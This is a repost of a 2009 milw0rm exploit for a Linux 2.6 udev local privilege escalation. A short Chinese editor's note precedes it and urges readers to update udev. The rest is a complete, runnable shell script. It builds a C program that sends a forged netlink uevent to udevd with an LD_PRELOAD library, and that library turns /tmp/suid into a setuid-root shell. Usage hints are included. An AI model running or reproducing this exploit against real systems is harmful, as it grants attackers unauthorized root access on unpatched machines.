Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit 's

# 鬼仔注：相关日志 Linux爆本地提权漏洞 请立即更新udev程序 、 udev,linux有史以来最危险的本地安全漏洞

# milw0rm.com [2009-04-20]

#!/bin/sh # Linux 2.6 # bug found by Sebastian Krahmer # # lame sploit using LD technique # by kcope in 2009 # tested on debian-etch,ubuntu,gentoo # do a 'cat /proc/net/netlink' # and set the first arg to this # script to the pid of the netlink socket # (the pid is udevd_pid - 1 most of the time) # + sploit has to be UNIX formatted text :) # + if it doesn't work the 1st time try more often # # WARNING: maybe needs some FIXUP to work flawlessly ## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang  cat > udev.c << _EOF #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <dirent.h> #include <sys/stat.h> #include <sysexits.h> #include <wait.h> #include <signal.h> #include <sys/socket.h> #include <linux/types.h> #include <linux/netlink.h>  #ifndef NETLINK_KOBJECT_UEVENT #define NETLINK_KOBJECT_UEVENT 15 #endif  #define SHORT_STRING 64 #define MEDIUM_STRING 128 #define BIG_STRING 256 #define LONG_STRING 1024 #define EXTRALONG_STRING 4096 #define TRUE 1 #define FALSE 0  int socket_fd; struct sockaddr_nl address; struct msghdr msg; struct iovec iovector; int sz = 64*1024;  main(int argc, char **argv) {         char sysfspath[SHORT_STRING];         char subsystem[SHORT_STRING];         char event[SHORT_STRING];         char major[SHORT_STRING];         char minor[SHORT_STRING];          sprintf(event, "add");         sprintf(subsystem, "block");         sprintf(sysfspath, "/dev/foo");         sprintf(major, "8");         sprintf(minor, "1");          memset(&address, 0, sizeof(address));         address.nl_family = AF_NETLINK;         address.nl_pid = atoi(argv[1]);         address.nl_groups = 0;          msg.msg_name = (void*)&address;         msg.msg_namelen = sizeof(address);         msg.msg_iov = &iovector;         msg.msg_iovlen = 1;          socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);         bind(socket_fd, (struct sockaddr *) &address, sizeof(address));          char message[LONG_STRING];         char *mp;          mp = message;         mp += sprintf(mp, "%s@%s", event, sysfspath) +1;         mp += sprintf(mp, "ACTION=%s", event) +1;         mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;         mp += sprintf(mp, "MAJOR=%s", major) +1;         mp += sprintf(mp, "MINOR=%s", minor) +1;         mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;         mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;          iovector.iov_base = (void*)message;         iovector.iov_len = (int)(mp-message);          char *buf;         int buflen;         buf = (char *) &msg;         buflen = (int)(mp-message);          sendmsg(socket_fd, &msg, 0);          close(socket_fd);   sleep(10);  execl("/tmp/suid", "suid", (void*)0); }  _EOF gcc udev.c -o /tmp/udev cat > program.c << _EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h>  void _init() {  setgid(0);  setuid(0);  unsetenv("LD_PRELOAD");  execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL); }  _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles cat > suid.c << _EOF int main(void) {        setgid(0); setuid(0);        execl("/bin/sh","sh",0); } _EOF gcc -o /tmp/suid suid.c cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 /tmp/udev $1